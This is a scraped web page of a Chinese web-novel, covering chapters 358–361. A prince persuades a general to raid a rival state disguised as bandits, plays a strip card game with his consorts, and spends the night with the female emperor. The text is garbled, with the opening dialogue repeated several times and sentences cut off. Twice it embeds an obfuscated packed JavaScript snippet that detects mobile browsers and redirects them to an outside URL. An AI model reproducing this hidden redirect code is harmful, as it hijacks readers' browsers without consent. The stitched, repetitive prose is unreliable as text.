“因为老天喜欢捉弄人啊。他老人家那么无聊,靠捉弄人来解解闷,倒也正常。” “呵,所以我抱怨老天有什么 问题吗?” “当然有问题,你会抱怨王爷派你孤军深入吗?你知不知道,这件事情风险极大。成了,则千古留名,败了则要抗下所有责任。这对你来说也很不公平,不是么。” “.” 陈宵说不话了,只一味地喝酒。 林臻搂着歌姬,手指在她精致的脸蛋上划过。 歌姬没有害怕,反而羞涩地抿了抿嘴,一副任君采摘的样子。 身份高就是有好处啊。 想当年自己陪领导去夜店的时候,想碰人家姑娘一下,人家都嫌弃,反而那个既秃顶又大腹便便的领导更招女孩子喜欢。 林臻说道:“如今大乾正在经历百年未有的大变,各行各业正是用人之际。你一身本领,又是沙场上厮杀出来的将才,若能全心全意为朝廷效力,必大有可为。” 陈宵放下酒杯,苦笑一声:“什么高官厚禄、荣华富贵,末将都不感兴趣。” “那你想要什么?总不会什么也不要吧?就算你不要,你手底下那些生死兄弟难道也什么都不要?他们把脑袋别在裤腰带上跟着你出生入死的,图什么?” “我只想有仗可打,能在沙场上尽情驰骋,也不负我这身武艺,至于我的兄弟们,就希望世子能多帮帮忙了。”他的话语戛然而止,眼中闪过一丝落寞与不甘。 林臻微微摇头:“我帮不了你,你要自己去给他们争取,这次你所率领的骑兵虽然不服从号令,但是功劳却很大。我已经向陛下阐明,功是功,过是过,要分开算。” “多谢世子!可是末将不想在京城当官,末将想去边关,哪里都行!” 林臻微微点头,似是早已料到他会这般说,沉吟片刻后,开口道:“唔,这样吧。前阵子北燕那帮狗犊子偷袭我们代县,此举着实可恶。我倒有个主意,要不你去镇守北燕边关?虽说眼下两国不宜大动干戈,但小打小闹、互相试探总是有的。或者,你去边关那儿当个占山为王的‘土匪’,表面上打着草寇的旗号,实则暗中为朝廷效力,时不时地敲打敲打北燕,恶心恶心他们。” 陈宵一听,眼中瞬间燃起希望之火,急切问道:“那末将有没有自主权?能不能自己挑人?” “可以,但既然是土匪,那人就不能太多,否则意图就太明显了。这样允许你委派一名副将,领五百精兵,你自己再领五百,分占两个山头,专门搞北燕。” “好!那末将这就回去安排!” 说着话陈宵就要往外跑,林臻赶紧把他拦住:“诶诶诶,你急什么啊?一听说杀人就急,没出息。我警告你啊,到了北燕你就是土匪,任何行动都不能打着大乾的名义,也绝不能给大乾添麻烦。当下局势,大乾短时间内和北燕不能发生大规模战争,懂么?” “末将明白!” 林臻见他应下,脸上也露出欣慰的笑容,起身走到他身旁,拍了拍他的肩膀:“既如此,那明日你便随我去向陛下请罪,接受封赏。哦,对了,陛下给你的封赏可是不低,封狼居胥的荣耀,还有冠军侯的爵位,这可是多少武将梦寐以求的啊。” 陈宵听闻,微微一愣,他征战沙场,所求不过是畅快杀敌,守护家国,对于这世俗的爵位封赏,倒没怎么放在心上。 问题吗?” “当然有问题,你会抱怨王爷派你孤军深入吗?你知不知道,这件事情风险极大。成了,则千古留名,败了则要抗下所有责任。这对你来说也很不公平,不是么。” “.” 陈宵说不话了,只一味地喝酒。 林臻搂着歌姬,手指在她精致的脸蛋上划过。 歌姬没有害怕,反而羞涩地抿了抿嘴,一副任君采摘的样子。 身份高就是有好处啊。 想当年自己陪领导去夜店的时候,想碰人家姑娘一下,人家都嫌弃,反而那个既秃顶又大腹便便的领导更招女孩子喜欢。 林臻说道:“如今大乾正在经历百年未有的大变,各行各业正是用人之际。你一身本领,又是沙场上厮杀出来的将才,若能全心全意为朝廷效力,必大有可为。” 陈宵放下酒杯,苦笑一声:“什么高官厚禄、荣华富贵,末将都不感兴趣。” “那你想要什么?总不会什么也不要吧?就算你不要,你手底下那些生死兄弟难道也什么都不要?他们把脑袋别在裤腰带上跟着你出生入死的,图什么?” “我只想有仗可打,能在沙场上尽情驰骋,也不负我这身武艺,至于我的兄弟们,就希望世子能多帮帮忙了。”他的话语戛然而止,眼中闪过一丝落寞与不甘。 林臻微微摇头:“我帮不了你,你要自己去给他们争取,这次你所率领的骑兵虽然不服从号令,但是功劳却很大。我已经向陛下阐明,功是功,过是过,要分开算。” “多谢世子!可是末将不想在京城当官,末将想去边关,哪里都行!” 林臻微微点头,似是早已料到他会这般说,沉吟片刻后,开口道:“唔,这样吧。前阵子北燕那帮狗犊子偷袭我们代县,此举着实可恶。我倒有个主意,要不你去镇守北燕边关?虽说眼下两国不宜大动干戈,但小打小闹、互相试探总是有的。或者,你去边关那儿当个占山为王的‘土匪’,表面上打着草寇的旗号,实则暗中为朝廷效力,时不时地敲打敲打北燕,恶心恶心他们。” 陈宵一听,眼中瞬间燃起希望之火,急切问道:“那末将有没有自主权?能不能自己挑人?” “可以,但既然是土匪,那人就不能太多,否则意图就太明显了。这样允许你委派一名副将,领五百精兵,你自己再领五百,分占两个山头,专门搞北燕。” “好!那末将这就回去安排!” 说着话陈宵就要往外跑,林臻赶紧把他拦住:“诶诶诶,你急什么啊?一听说杀人就急,没出息。我警告你啊,到了北燕你就是土匪,任何行动都不能打着大乾的名义,也绝不能给大乾添麻烦。当下局势,大乾短时间内和北燕不能发生大规模战争,懂么?” “末将明白!” 林臻见他应下,脸上也露出欣慰的笑容,起身走到他身旁,拍了拍他的肩膀:“既如此,那明日你便随我去向陛下请罪,接受封赏。哦,对了,陛下给你的封赏可是不低,封狼居胥的荣耀,还有冠军侯的爵位,这可是多少武将梦寐以求的啊。” 陈宵听闻,微微一愣,他征战沙场,所求不过是畅快杀敌,守护家国,对于这世俗的爵位封赏,倒没怎么放在心上。 问题吗?” “当然有问题,你会抱怨王爷派你孤军深入吗?你知不知道,这件事情风险极大。成了,则千古留名,败了则要抗下所有责任。这对你来说也很不公平,不是么。” “.” 陈宵说不话了,只一味地喝酒。 林臻搂着歌姬,手指在她精致的脸蛋上划过。 歌姬没有害怕,反而羞涩地抿了抿嘴,一副任君采摘的样子。 身份高就是有好处啊。 想当年自己陪领导去夜店的时候,想碰人家姑娘一下,人家都嫌弃,反而那个既秃顶又大腹便便的领导更招女孩子喜欢。 林臻说道:“如今大乾正在经历百年未有的大变,各行各业正是用人之际。你一身本领,又是沙场上厮杀出来的将才,若能全心全意为朝廷效力,必大有可为。” 陈宵放下酒杯,苦笑一声:“什么高官厚禄、荣华富贵,末将都不感兴趣。” “那你想要什么?总不会什么也不要吧?就算你不要,你手底下那些生死兄弟难道也什么都不要?他们把脑袋别在裤腰带上跟着你出生入死的,图什么?” “我只想有仗可打,能在沙场上尽情驰骋,也不负我这身武艺,至于我的兄弟们,就希望世子能多帮帮忙了。”他的话语戛然而止,眼中闪过一丝落寞与不甘。 林臻微微摇头:“我帮不了你,你要自己去给他们争取,这次你所率领的骑兵虽然不服从号令,但是功劳却很大。我已经向陛下阐明,功是功,过是过,要分开算。” “多谢世子!可是末将不想在京城当官,末将想去边关,哪里都行!” 林臻微微点头,似是早已料到他会这般说,沉吟片刻后,开口道:“唔,这样吧。前阵子北燕那帮狗犊子偷袭我们代县,此举着实可恶。我倒有个主意,要不你去镇守北燕边关?虽说眼下两国不宜大动干戈,但小打小闹、互相试探总是有的。或者,你去边关那儿当个占山为王的‘土匪’,表面上打着草寇的旗号,实则暗中为朝廷效力,时不时地敲打敲打北燕,恶心恶心他们。” 陈宵一听,眼中瞬间燃起希望之火,急切问道:“那末将有没有自主权?能不能自己挑人?” “可以,但既然是土匪,那人就不能太多,否则意图就太明显了。这样允许你委派一名副将,领五百精兵,你自己再领五百,分占两个山头,专门搞北燕。” “好!那末将这就回去安排!” 说着话陈宵就要往外跑,林臻赶紧把他拦住:“诶诶诶,你急什么啊?一听说杀人就急,没出息。我警告你啊,到了北燕你就是土匪,任何行动都不能打着大乾的名义,也绝不能给大乾添麻烦。当下局势,大乾短时间内和北燕不能发生大规模战争,懂么?” “末将明白!” 林臻见他应下,脸上也露出欣慰的笑容,起身走到他身旁,拍了拍他的肩膀:“既如此,那明日你便随我去向陛下请罪,接受封赏。哦,对了,陛下给你的封赏可是不低,封狼居胥的荣耀,还有冠军侯的爵位,这可是多少武将梦寐以求的啊。” 陈宵听闻,微微一愣,他征战沙场,所求不过是畅快杀敌,守护家国,对于这世俗的爵位封赏,倒没怎么放在心上。 问题吗?” “当然有问题,你会抱怨王爷派你孤军深入吗?你知不知道,这件事情风险极大。成了,则千古留名,败了则要抗下所有责任。这对你来说也很不公平,不是么。” “.” 陈宵说不话了,只一味地喝酒。 林臻搂着歌姬,手指在她精致的脸蛋上划过。 歌姬没有害怕,反而羞涩地抿了抿嘴,一副任君采摘的样子。 身份高就是有好处啊。 想当年自己陪领导去夜店的时候,想碰人家姑娘一下,人家都嫌弃,反而那个既秃顶又大腹便便的领导更招女孩子喜欢。 林臻说道:“如今大乾正在经历百年未有的大变,各行各业正是用人之际。你一身本领,又是沙场上厮杀出来的将才,若能全心全意为朝廷效力,必大有可为。” 陈宵放下酒杯,苦笑一声:“什么高官厚禄、荣华富贵,末将都不感兴趣。” “那你想要什么?总不会什么也不要吧?就算你不要,你手底下那些生死兄弟难道也什么都不要?他们把脑袋别在裤腰带上跟着你出生入死的,图什么?” “我只想有仗可打,能在沙场上尽情驰骋,也不负我这身武艺,至于我的兄弟们,就希望世子能多帮帮忙了。”他的话语戛然而止,眼中闪过一丝落寞与不甘。 林臻微微摇头:“我帮不了你,你要自己去给他们争取,这次你所率领的骑兵虽然不服从号令,但是功劳却很大。我已经向陛下阐明,功是功,过是过,要分开算。” “多谢世子!可是末将不想在京城当官,末将想去边关,哪里都行!” 林臻微微点头,似是早已料到他会这般说,沉吟片刻后,开口道:“唔,这样吧。前阵子北燕那帮狗犊子偷袭我们代县,此举着实可恶。我倒有个主意,要不你去镇守北燕边关?虽说眼下两国不宜大动干戈,但小打小闹、互相试探总是有的。或者,你去边关那儿当个占山为王的‘土匪’,表面上打着草寇的旗号,实则暗中为朝廷效力,时不时地敲打敲打北燕,恶心恶心他们。” 陈宵一听,眼中瞬间燃起希望之火,急切问道:“那末将有没有自主权?能不能自己挑人?” “可以,但既然是土匪,那人就不能太多,否则意图就太明显了。这样允许你委派一名副将,领五百精兵,你自己再领五百,分占两个山头,专门搞北燕。” “好!那末将这就回去安排!” 说着话陈宵就要往外跑,林臻赶紧把他拦住:“诶诶诶,你急什么啊?一听说杀人就急,没出息。我警告你啊,到了北燕你就是土匪,任何行动都不能打着大乾的名义,也绝不能给大乾添麻烦。当下局势,大乾短时间内和北燕不能发生大规模战争,懂么?” “末将明白!” 林臻见他应下,脸上也露出欣慰的笑容,起身走到他身旁,拍了拍他的肩膀:“既如此,那明日你便随我去向陛下请罪,接受封赏。哦,对了,陛下给你的封赏可是不低,封狼居胥的荣耀,还有冠军侯的爵位,这可是多少武将梦寐以求的啊。” 陈宵听闻,微微一愣,他征战沙场,所求不过是畅快杀敌,守护家国,对于这世俗的爵位封赏,倒没怎么放在心上。 问题吗?” “当然有问题,你会抱怨王爷派你孤军深入吗?你知不知道,这件事情风险极大。成了,则千古留名,败了则要抗下所有责任。这对你来说也很不公平,不是么。” “.” 陈宵说不话了,只一味地喝酒。 林臻搂着歌姬,手指在她精致的脸蛋上划过。 歌姬没有害怕,反而羞涩地抿了抿嘴,一副任君采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163728|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摘的样子。 身份高就是有好处啊。 想当年自己陪领导去夜店的时候,想碰人家姑娘一下,人家都嫌弃,反而那个既秃顶又大腹便便的领导更招女孩子喜欢。 林臻说道:“如今大乾正在经历百年未有的大变,各行各业正是用人之际。你一身本领,又是沙场上厮杀出来的将才,若能全心全意为朝廷效力,必大有可为。” 陈宵放下酒杯,苦笑一声:“什么高官厚禄、荣华富贵,末将都不感兴趣。” “那你想要什么?总不会什么也不要吧?就算你不要,你手底下那些生死兄弟难道也什么都不要?他们把脑袋别在裤腰带上跟着你出生入死的,图什么?” “我只想有仗可打,能在沙场上尽情驰骋,也不负我这身武艺,至于我的兄弟们,就希望世子能多帮帮忙了。”他的话语戛然而止,眼中闪过一丝落寞与不甘。 林臻微微摇头:“我帮不了你,你要自己去给他们争取,这次你所率领的骑兵虽然不服从号令,但是功劳却很大。我已经向陛下阐明,功是功,过是过,要分开算。” “多谢世子!可是末将不想在京城当官,末将想去边关,哪里都行!” 林臻微微点头,似是早已料到他会这般说,沉吟片刻后,开口道:“唔,这样吧。前阵子北燕那帮狗犊子偷袭我们代县,此举着实可恶。我倒有个主意,要不你去镇守北燕边关?虽说眼下两国不宜大动干戈,但小打小闹、互相试探总是有的。或者,你去边关那儿当个占山为王的‘土匪’,表面上打着草寇的旗号,实则暗中为朝廷效力,时不时地敲打敲打北燕,恶心恶心他们。” 陈宵一听,眼中瞬间燃起希望之火,急切问道:“那末将有没有自主权?能不能自己挑人?” “可以,但既然是土匪,那人就不能太多,否则意图就太明显了。这样允许你委派一名副将,领五百精兵,你自己再领五百,分占两个山头,专门搞北燕。” “好!那末将这就回去安排!” 说着话陈宵就要往外跑,林臻赶紧把他拦住:“诶诶诶,你急什么啊?一听说杀人就急,没出息。我警告你啊,到了北燕你就是土匪,任何行动都不能打着大乾的名义,也绝不能给大乾添麻烦。当下局势,大乾短时间内和北燕不能发生大规模战争,懂么?” “末将明白!” 林臻见他应下,脸上也露出欣慰的笑容,起身走到他身旁,拍了拍他的肩膀:“既如此,那明日你便随我去向陛下请罪,接受封赏。哦,对了,陛下给你的封赏可是不低,封狼居胥的荣耀,还有冠军侯的爵位,这可是多少武将梦寐以求的啊。” 陈宵听闻,微微一愣,他征战沙场,所求不过是畅快杀敌,守护家国,对于这世俗的爵位封赏,倒没怎么放在心上。 问题吗?” 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“可以,但既然是土匪,那人就不能太多,否则意图就太明显了。这样允许你委派一名副将,领五百精兵,你自己再领五百,分占两个山头,专门搞北燕。” “好!那末将这就回去安排!” 说着话陈宵就要往外跑,林臻赶紧把他拦住:“诶诶诶,你急什么啊?一听说杀人就急,没出息。我警告你啊,到了北燕你就是土匪,任何行动都不能打着大乾的名义,也绝不能给大乾添麻烦。当下局势,大乾短时间内和北燕不能发生大规模战争,懂么?” “末将明白!” 林臻见他应下,脸上也露出欣慰的笑容,起身走到他身旁,拍了拍他的肩膀:“既如此,那明日你便随我去向陛下请罪,接受封赏。哦,对了,陛下给你的封赏可是不低,封狼居胥的荣耀,还有冠军侯的爵位,这可是多少武将梦寐以求的啊。” 陈宵听闻,微微一愣,他征战沙场,所求不过是畅快杀敌,守护家国,对于这世俗的爵位封赏,倒没怎么放在心上。 第359章 斗地主,输了脱衣服 劝说好了陈宵,林臻走出青楼,就见慕容无舌从一顶华丽的轿子里探出头来,笑道:“世子,大功告成了? “那是自然,本世子出马,一个顶俩。 “老奴就说嘛,像陈宵这种傲将就得您亲自去,走吧?回宫? 今日是林臻凯旋而归的日子,虽然没有规矩表明,但肯定是要夜宿皇宫里的。 夜宿皇宫哦.嘿嘿嘿。 自从被噬心蛊夺舍以后,林臻一直在观察自己的身体,发现并没有什么变化,反而肌肉比以前更结实了。 身体素质也在以一种十分恐怖的速度提升,甚至很多时候林臻都感觉自己身上有使不完的牛劲。楚惜灵那天被滋润过后说,应该是噬心蛊开始发挥效果了,所以让林臻的身体一日千变,就算天天和妻妾晨练也不会越练越虚,反而会更加强劲。 对此林臻一直有所怀疑,所以他今天打算陪慕容嫣、司马椿蕾以及顾镇三女试试,看看是不是真的有楚惜灵说的那般神奇。 而且楚惜灵还说,噬心蛊的作用远不止于此,它除了可以提升身体素质外,还可以百毒不侵,让伤口更快愈合,在一定程度上延长寿命。 但这都只是传说而已,毕竟没有人能像他一样,可以从噬心蛊的折磨中获得新生。 夜色如墨,浓稠得化不开,将整个皇城都笼罩其中。 皇宫内,灯火通明依旧,却透着一股盛宴散尽后的慵懒与静谧。 慕容嫣准备了大排筵宴,以此犒劳凯旋的有功将士,席间推杯换盏,兴致颇高,不知不觉间便喝多了。 此刻,她被步辇稳稳抬往寝宫,身形随着起伏微微摇晃,犹如风中翩跹却有些力不从心的蝴蝶。 殿门打开,林臻正在司马椿蕾和顾镇斗地主,这是他新发明的游戏,由于没有纸壳,所以就用薄薄的木片。 只不过输了并不是输钱,而是脱衣服的。 殿内放着四个大火炉,就算脱光光也不会觉得冷。 此时笨笨的顾镇已经就剩下个翠色的肚兜和洁白的亵裤了。 她脸蛋红红的咬着下唇,不时地偷看林臻手牌,眉宇间满是紧张。 如果再输,自己就要被脱光光了呢! 怎么办呀! 而且夫君一脸不会放过自己的样子。 司马椿蕾也脱掉长裙,穿着内衬,露出整齐精致的小脚丫踩在床榻上。 顾镇见状,颤颤巍巍的扔出一张3。 “3! 林臻甩手:“勾! “大咪!!”顾镇扔出来一张大王。 因为古代敏感“王”会犯冲于是林臻就叫大咪小咪。 林臻张大了嘴看向司马椿蕾:“椿儿大咪不在你手里啊?” “臣妾什么说过有大咪了?” “没有大咪你抢什么地主?” “这不是被缜妹妹抢走了嘛!”司马椿蕾坏坏一笑原来她是看顾镇着急翻盘故意叫的地主。 因为规则就是输了脱衣服赢了可以穿衣服。 果然顾镇着急穿衣服就抢了地主谁知司马椿蕾居然选择放弃不叫现在她身上就只有两件衣服。 一旦失败就要脱光光了。 林臻摇了摇头说道:“唉好吧就让缜妹妹赢一次。” “不行!我还没说话呢!”司马椿蕾娇嗔一声扔出四张六“炸弹!” “啊!!”顾镇立刻把自己手里的一张四扔出去“娘娘和夫君合伙欺负我!我不玩啦!” 司马椿蕾岂会放过这小白兔当即说道:“嘿?你说不玩就不玩?把衣服脱了!” “我不!我就这一件了呢!” “不行愿赌服输!谁让你玩啊!” “是你们逼着我玩的!” “那我不管现在你输了你就必须再脱两件衣服!” “我不!”顾镇死死抓着自己的肚兜司马椿蕾跳起来骑在顾镇肚子上使劲抓她的痒痒想着这样顾镇会松手好趁机抢肚兜。 谁知顾镇一脸懵逼地看着她好像不知道她在做什么。 司马椿蕾这才想起这女人不知道疼更没有所谓的痒痒肉情急之下双手抓住顾镇的手腕将其掰开然后对林臻大喊:“夫君快来帮忙呀!” “得嘞!!” 这哪有不帮忙的道理?林臻虎躯一震就要扑过去谁知就在此时殿门被打开。 麝月搀扶着慕容嫣缓缓走进来。 司马椿蕾立刻起身林臻也从床榻上下来。 顾镇趁机站起来拿过亵衣套在身上。 见慕容嫣醉酒林臻快步迎上前去一把扶住她那白藕般娇嫩的手臂触手温凉柔滑仿若上等的羊脂玉。 与此同时司马椿蕾手脚麻利地将慕容嫣肩头厚重的大氅轻轻拿掉。 慕容嫣像是找到了依靠整个人顺势歪进林臻怀中扬起一张红扑扑的小脸 林臻低头瞧着怀中的人儿,无奈地笑了笑,柔声责备:“开心也不能喝这么多啊,仔细身子。” 慕容嫣却仿若未闻,自顾自地沉浸在今日的喜悦之中,她的眼眸亮晶晶的,仿若藏着万千星辰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169106|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滔滔不绝地倾诉起来:“夫君,朕今日才算是彻底体验到了一回当皇帝的感觉。万千的人向朕跪拜,齐声呐喊万岁,震得朕耳朵生疼,可心里头却畅快得紧。就连往日对朕不加颜色的王爷,今日也变得十分客气,态度端正得很。朕,终于把一切都掌握在手里了。” 言语间,是满满的自豪与扬眉吐气。 林臻静静地听着,嘴角勾起一抹淡淡的笑意,扶着她一步步朝着床榻走去。 司马椿蕾、顾镇、麝月三女早已候在一旁,见二人走近,默契地围拢过来,轻柔地伺候慕容嫣换上睡裙。 她们的动作娴熟而优雅,生怕惊扰了沉醉在喜悦中的女帝。 睡裙的料子是最上等的丝绸,滑过肌肤时带起一阵轻微的酥痒,慕容嫣咯咯笑着,像个纯真的孩子。 待一切安置妥当,林臻俯下身,在慕容嫣的唇边轻轻一吻,本想浅尝辄止,却不想唇齿相接间,只觉她满嘴的酒香扑面而来,带着心底深处的畅快。 慕容嫣似是被这一吻点燃了心中的火焰,猛地伸手勾住林臻的脖颈,热烈地回应着。 一时间,寝宫里的温度仿佛瞬间攀升,暧昧的气息在空气中流淌。 司马椿蕾与顾镇对视一眼,都知道今天是不能和慕容嫣抢林臻的,于是乖乖退了出去。 窗外,夜色依旧深沉,偶尔有微风拂过,吹得宫灯摇曳,光影在墙壁上晃荡。 寝宫里的灯火不知何时被吹灭,黑暗如潮水般涌来,却遮不住两人交缠的身影。 林臻只觉心跳加速,双手不自觉地收紧,像是要把怀中的慕容嫣搂进身体里。 慕容嫣在他怀中呢喃着不成句的话语,似是醉话,又似是藏在心底许久未曾吐露的柔情蜜语。 许久,两人的唇分了开来,却依旧紧紧相拥,彼此的呼吸交织在一起,粗重而又炽热。 林臻轻抚着慕容嫣的发丝,那触感仿若最细密的绸缎,轻声道:“嫣儿,你好美。” 慕容嫣在黑暗中再次笑靥如花,伸手下探。 “多日未能和夫君共赴巫山,可想煞朕了。” 窗外,夜枭偶尔发出几声啼叫,为这寂静的夜添了几分神秘色彩。 慕容嫣的呼吸越来越急促,后来又越来越平稳,最终酒意上头,在巫山还没结束时便沉沉睡去。 林臻此刻精神百倍,毫无睡意。 他起身走到窗前,轻轻推开窗扇,让寒冷的夜风吹拂面庞。 远处,皇宫的侍卫们在巡逻,火把的光亮连成一线,仿若一条蜿蜒的火龙。 第360章 今夜无眠,睡遍宫殿 此时此刻,望着夜景,林臻特别想来支事后烟。 但是没有啊,后世的很多快乐在这里都无法体验到。 有人说古代有多么多么好。 其实在林臻看来,这里的生活水平与质量,即便是慕容嫣也不如后世的普通工薪百姓。 就是这样。 娱乐方式太少,工业落后,交通不便,甚至就连取暖都需要无数丫鬟进殿内不停地添煤添炭。 林臻为了避免出现煤炭中毒事件,还特意让工部做了通风装置,但效果依旧不好,房间内还是有股煤烟子的味儿。 就冲这点,林臻有点想念后世的北方供暖系统了。 不过古代也有诸多好处,那就是一旦你成为上位者,可以做出很多在后世根本不可能允许的事情,比方说养小妾啊,打仆役啊,甚至是用人来当枕头当靠垫,都没有问题。 所以到底哪个好呢? 如果林臻是普通百姓,他肯定觉得后世好 “不行。 睡不着啊。 林臻静立在雕花窗棂之前,修长的手指轻轻搭在木质窗框上,微微探出头去。 目光望向天际。 天幕之上,墨云如绸,层层翻涌,将那一轮银月遮了又掩,只透出几缕清冷光辉,恰似薄纱拂面,给这宫闱夜色添了几分朦胧与神秘。 远处宫灯摇曳,光影错落,明明暗暗间勾勒出宫殿飞檐斗拱的轮廓。 还不到夜里十二点,现在睡觉是不是太早了?要不去椿儿那里看看? 不知道为什么,林臻现在总觉得身上有使不完的牛劲,刚刚在慕容嫣身上征伐过,现在却丝毫不困,精神百倍。 噬心蛊啊噬心蛊。 你到底是好东西,还是坏东西呢? 林臻迈着沉稳的步伐,一步步走出寝殿。 殿门之外,几盏宫灯散发着柔和的暖光,将门前的汉白玉台阶映照得泛出温润色泽。 他目光扫向一旁当值的小太监,轻声唤道:“你,过来。 那小太监正垂首站在阴影处,听得召唤,忙不迭地小跑上前,“扑通一声跪地:“世子有何吩咐? 他声音里带着一丝因紧张而产生的颤抖。 林臻神色淡漠:“无舌呢? “无舌大人在四周巡逻。 林臻点点头。 只要这老东西没闲着就好。 现在煊赫门与哈德门的人都有可能渗透进皇宫,必须要做好一切防范。 林臻说道:“你去 把负责抬步辇的人叫来,我要去贵妃那里。” “是!”小太监连忙应诺,又磕了个头,才匆匆起身,转身朝着下人房的方向奔去。 林臻负手而立,静静等候。 不多时,一阵急促的脚步声由远及近,四个东北雨姐级别的壮妇在小太监的带领下噔噔噔地走来,最后在林臻面前下跪。 小太监走到林臻面前,忙屈膝行礼,说道:“世子,她们来了。” 林臻微微点头,目光在她们身上一扫而过。随即迈步走向早已备好的步辇。 这步辇停在一旁,通身以珍贵的紫檀木打造,木质纹理细腻华美,其上雕刻着龙凤呈祥的精美图案,金银丝线勾勒出的线条在微光下熠熠生辉。 四周悬挂的锦幔,皆是用上等丝绸织就,绣满了五彩祥云与吉祥花卉,风一吹,轻轻飘动。 林臻从容踏上步辇,优雅落座,顺手结果小太监递来的大氅盖在身上。 四个壮妇见状,迅速各就各位,同时弯腰,双手握住步辇的抬杆将其抬起,缓缓向司马椿蕾的宫里走去。 室内弥漫着淡淡的龙涎香气,丝丝缕缕,萦绕在每一寸空气里。 司马椿蕾静静地坐在梳妆台前,她的背影挺直却透着几分落寞,好像一朵盛开在暗夜的昙花,美得惊心动魄,却又无人欣赏。 她葱白般纤细修长的手指抚上头顶的发簪,轻轻一拔,乌发便如瀑布般倾斜而下。 将玉簪放在梳妆台上后,她又摘下那对红宝石耳环,还有脖颈间那条珍珠项链,一一摆放在梳妆台上。 她边卸妆,边问一旁正准备八宝粥 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“你懂什么?夫君很忙,这么大的国家哪件事情不需要他操心?现在又刚和楚国打完仗,国土开拓不止一倍,那乱七八糟的事情数不胜数,别说是我,就算陛下那里他也没有常去。” 话虽这么说,但司马椿蕾心中还是有些吃味。 林臻来宫里的次数本就寥寥,就算偶尔进宫也多是在陪伴慕容嫣,很少在自己这里留宿。 好歹我也是个女人啊! 天天就这么独守空房怎么能受得了! 司马椿蕾抬眸望向窗外。 夜色深沉,宫墙高耸,仿若一座无形的牢笼。 自己当初的愿望不就是能嫁进牢笼里,成为皇帝妃子吗? 现在梦想已经达到,司马家族地位超然,一人之下万人之上,可为什么自己还是高兴不起来呢? 难道说,自己想要的,从来就不是权力? 司马椿蕾不禁回想起自己儿时的光景。 那时父亲司马忠还不是御史大夫,而只是御史台的小吏. 第361章 讨厌,什么东西嘛! 想起儿时的事情司马椿蕾总是会沉浸其中。 那时候的她无忧无虑家里一应俱全什么都不缺在父亲母亲的陪伴下快乐成长。 突然有一天父亲司马忠因为什么事情被上司做成一本要下放在边关。 听到这个消息的司马椿蕾觉得自己天都塌了。 从那一刻起她就想着一定要帮父亲做些什么。 于是她开始努力学习琴棋书画学习政治学习心学就是希望等长大后自己可以嫁入皇家帮父亲踏平上升之路。 机会来了那个年老昏聩的狗皇帝终于死了新皇帝登基。 他年岁和自己差不多而父亲因为攀上林震仙而再次受到重用一路高升至御史大夫。 而她自己也开始往外面传些流言蜚语说司马家的闺女长相丑陋身材矮挫脾气不好喜欢杀人打人是个十足的母老虎。 好啊久而久之真的没有人敢上门提亲了。 我终于可以把我最好的东西留给皇帝。 一切的安排都是那么顺利那么美好。 可是这个讨厌的新皇帝却迟迟不选妃整日和顾家那个少爷眉来眼去的。 什么东西嘛! 还以为她是个喜欢龙阳的人谁知突然有一天 司马椿蕾知道这是自己最好的也是唯一一次机会只要能顺利进宫并且侍寝然后再怀上孩子那自己皇后的位置就板上钉钉。 可意外却再次降临。 这皇帝居然是个女的! 而要了自己身子的正是自己以往最讨厌最不好看的纨绔林臻! 我的身体岂是那种人渣可以触碰的? 但该接受的和不该接受的总是要接受的。 林臻的出现与后来发生的事情让司马椿蕾心里升起一道光她开始日夜期盼着林臻的到来哪怕每次都让她摆出那种羞涩的姿势。 他还答应自己让父亲出任丞相之位。 这不就是自己一直所期盼的吗? 可是为什么呢? 为什么自己还是快乐不起来呢? 我明明已经做好老死皇宫的准备了为什么还会期盼着林臻可以多来陪陪自己呢? 不知不觉一滴晶莹的泪珠顺着脸颊滑落。 雪琪还趴在她的腿上眼神中透着几分犹豫与关切轻声问道:“娘娘别伤心了您准备什么时候把您和世子的事情告诉老爷呀?” 司马椿蕾闻言用手帕点了 点眼角轻轻摇头嘴角勾起一抹苦笑:“你以为我不说父亲就不知道了吗?其实他什么都知道只是没说而已。” “那老爷会同意吗?您可是皇帝的妃子!” “现在大乾的皇帝与其说是慕容家倒不如说就是夫君。父亲明白这个道理干脆装视而不见罢了反正不管怎么折腾只要不造反司马家的地位就是稳的。” 司马椿蕾叹了口气:“只是如今陛下已然暴露女儿身这后宫局势骤变。除了我和顾镇外其余妃子皆在忍受孤独她们难保不会做出什么事情来争夫君的宠。我听外面的人说前些天夫君进宫陪陛下在后花园散步就有妃子敢大胆地过去假装偶遇。虽然夫君和陛下都没有说什么但都对此事有些反感。 前些日子 雪琪张大嘴巴:“啊?难道真的要把妃子都送回去?这是要寒大臣们的心呀。” “没错所以我建议陛下暂时不要还是多问问夫君的意思比较好。” 司马椿蕾的声音渐渐低沉下来仿若在思索着什么重大之事:“毕竟眼下有妃子在还能稳住局面若后宫空无一人必然就会有大臣上表要求为陛下挑选男宠到那时夫君定会心生不悦。” 雪琪微微皱眉轻叹一声:“唉娘娘是把什么都考虑到了可是却迟迟怀不上孩子奴婢都怀疑是不是世子的身体.” 司马椿蕾眼神一凛伸手掐住雪琪的小下巴似怒非怒地说道:“死丫头胡说什么呢?你该不会是也思春了吧?想等我怀孕的时候让夫君临幸临幸你?” 雪琪顿时大窘双颊绯红忙不迭地摇头:“没有!娘娘奴婢绝无此意。” 